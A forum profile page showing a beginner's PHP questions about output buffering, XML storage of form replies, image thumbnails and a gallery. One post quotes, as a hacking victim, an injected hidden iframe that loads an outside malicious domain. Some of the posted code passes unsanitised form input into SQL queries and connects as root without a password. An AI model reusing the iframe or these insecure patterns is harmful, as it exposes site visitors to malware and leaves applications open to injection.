Jump to content

runei

Members
  • Posts

    37
  • Joined

  • Last visited

    Never

Profile Information

  • Gender
    Not Telling

runei's Achievements

Member

Member (2/5)

0

Reputation

  1. Personally i am quite ignorant here. I am looking in to both and i'll see what i come up with. This looks pretty much what i am after. havent tested it yet though. <?php if (ob_get_level() == 0) ob_start(); for ($i = 0; $i<10; $i++){ echo "<br> Line to show."; echo str_pad('',4096)."\n"; ob_flush(); flush(); sleep(2); } echo "Done."; ob_end_flush(); ?>
  2. I am selecting a field from mysql db in a while statement. What I want is a interval of lets say 1-2 seconds for each printed record. Like a lottery system. How do i go about it? thx runei
  3. My site is probably vulnerable to attacks as i have not given security enough attention. I will from now on though.. I just changed my cpanel password and hope it works.
  4. Oh, i do it in cpanel of course. Thx for ur advice, i'll see if the hacking stops
  5. Iam on a paid hosting plan and the passwords are not the same. I use coreftp to upload the files, the password is the one i get from my host to upload to the server, so i have to get a new password from them?
  6. I have removed it but it keeps popping back up. do you mean the password i connect with my ftp client?
  7. I know this is the wrong place to post it but my site is hacked with the following: <iframe src="http://thelotbet.cn/in.cgi?income39" width=1 height=1 style="visibility: hidden"></iframe> Only the header shows after the attack and it has happened twice the last two days. I've contacted my host and waiting for an answer. In the mean time is there a forum I can post this?? Thx in advance
  8. Hi people. I've made a simple form for user where they can reply to a text. However i dont want to store the replies in a db, i want to store them in txt files. I have copied a couple of examples and tried to modify them but i dont work much with xml. Heres the form: <?php echo "<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">"; echo "<form method=\"post\" action=\"".$_SERVER['php_self']."\">\n"; echo "<tr><td>Username</td><td><input type=\"text\" name=\"username\"></td></tr>\n"; echo "<tr><td>Message</td><td><textarea id=\"djtextarea\" name=\"message\"></textarea></td></tr>"; echo "<tr><td align=\"right\"id=\"buttonlayout2\"><input id=\"buttonlayout1\" type=\"submit\" name=\"submit\" value=\"Post\"></td></tr>\n"; echo "</form></table>\n"; $username = trim(stripslashes(htmlspecialchars(utf8_decode($_POST['username'])))); $message = trim(stripslashes(htmlspecialchars(utf8_decode($_POST['message'])))); ?> So i tried with the following xml expression from ibm.com but naturally it only stores one over the other, so i i only get one reply. Same thing if i save it as a string. How can i modify this one to store multiple inputs from the form? <?php $books = array(); $books [] = array( 'author' => "$username", 'publisher' => "$message" ); $doc = new DOMDocument(); $doc->formatOutput = true; $r = $doc->createElement( "books" ); $doc->appendChild( $r ); foreach( $books as $book ) { $b = $doc->createElement( "book" ); $author = $doc->createElement( "author" ); $author->appendChild( $doc->createTextNode( $book['author'] ) ); $b->appendChild( $author ); $publisher = $doc->createElement( "publisher" ); $publisher->appendChild( $doc->createTextNode( $book['publisher'] ) ); $b->appendChild( $publisher ); $r->appendChild( $b ); } echo $doc->save("reviews.xml"); ?> I get one xml file like so : <?xml version="1.0"?> <books> <book> <author>www</author> <publisher>wwww1111</publisher> </book> </books> I have tried the following one as well but i only get " Warning: DOMDocument::load() [domdocument.load]: Extra content at the end of the document in file". Which means that my xml file is not well formed, but how do u get a well formed xml file when i am populating it directly through the form? <?php $myFile = "reviews.xml"; $fh = fopen($myFile, 'a') or die("can't open file"); $stringData = "<username>$username</username><message>$message</message>\n"; fwrite($fh, $stringData); #$stringData = "<root><message>$message</message></root>\n"; #fwrite($fh, $stringData); fclose($fh); ?>
  9. Im still trying to figure it out. When implementing height the thumbnail goes black, after what i read this has something to do with the path. I know the path is correct so it is the script i am messing up. Btw, does imagesx and imagesy accomplish the same thing as getimagesize? Better to go with getimagesize then..
  10. Oy people. I got the following script making thumbnails. It sets the width of the thumbnail but i also want a set height for the thumbnail. Need some help.. <?php ob_start(); error_reporting (E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR); $final_width_of_image = 100; $path_to_image_directory = 'images/fullsized/'; $path_to_thumbs_directory = 'images/thumbs/'; if (isset($_FILES['myphoto'])) { if (preg_match('/[.](jpg)|(JPG)|(JEPG)|(gif)|(png)$/', $_FILES['myphoto']['name'])) { $filename = $_FILES['myphoto']['name']; $source = $_FILES['myphoto']['tmp_name']; $target = $path_to_image_directory . $filename; move_uploaded_file($source, $target); if (preg_match('/[.](jpg)$/', $filename)) { $myimage = imagecreatefromjpeg($path_to_image_directory . $filename); } else if (preg_match('/[.](gif)$/', $filename)) { $myimage = imagecreatefromgif($path_to_image_directory . $filename); } else if (preg_match('/[.](png)$/', $filename)) { $myimage = imagecreatefrompng($path_to_image_directory . $filename); } $width = imagesx($myimage); $height = imagesy($myimage); $finalwidth = $final_width_of_image; $newyvalue = floor($height * ($finalwidth / $width)); $color = imagecreatetruecolor($finalwidth, $newyvalue); imagecopyresampled($color, $myimage, 0, 0, 0, 0, $finalwidth, $newyvalue, $width, $height); if (!file_exists($path_to_thumbs_directory)) { if (!mkdir($path_to_thumbs_directory)) { die("There was a problem. Please try again!"); } } imagejpeg($color, $path_to_thumbs_directory . $filename); $thumb = '<img src="' . $path_to_thumbs_directory . $filename . '" alt="image" />'; #$thumb .= '<br />Congratulations. Your file has been successfully uploaded, and a thumbnail has been created.'; # echo $thumb; } } //isset $con = mysql_connect("localhost", "root") or die(mysql_error()); $db = mysql_select_db("delmar", $con); $name = $_POST['picname']; $pic = ($_FILES['myphoto']['name']); $date = date("m-d-y") . " at " . date("G:i:s"); $time = time(); if ($name && $pic) { $sql1 = mysql_query("INSERT INTO `mar_photo` (`name`,`photo`,`date`,`time`)VALUES ('$name','$pic','$date','$time')"); } else { echo "Error.............."; }//end if header("Location: myphotos.php"); ob_end_flush(); ?> thx runei
  11. them boxes worked great and it looked pro as well. thx people
  12. hmm, kind of like the box thing i'll see if i can figure it out
  13. Hello. Im working on a simple photo gallery for my website. I have created pagination and thumbnails for the gallery, but i also want users to click a image and see it in full size. I briefly looked at a java script but i am not really sure how to proceed. Appreciate any suggestions. runei heres the java script. <a href="javascript:window.open('path......','FullView','top=100,left=100,width=7 00,height=500,resizable=yes,scrollbars=no,location =no,menubar=no,status=no,toolbar=no'); void('');"> <img src="path...."> </a> heres my code: <?php echo "<table cellspacing=\"10\"cellpadding=\"10\">"; $sql = "SELECT * FROM mar_photo"; $res = mysql_query($sql) or die (mysql_error()); //Puts it into an array $pager = new PS_Pagination($con,$sql,15,20); $rs = $pager->paginate(); $i = 0; $max_columns = 6; while($row = mysql_fetch_assoc($rs)) { echo "<td border=\"1\" id=\"form\">"; //Outputs the image and other data echo "<img src=images/thumbs/".$row['photo']." > <br>"; echo "<b>Title :</b> ".$row['name'] . "<br> "; echo "</td>"; if(++$i == $max_columns) { echo "</tr>"; $i=0; } // end if } echo $pager->renderFullNav(); echo "</table>";
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.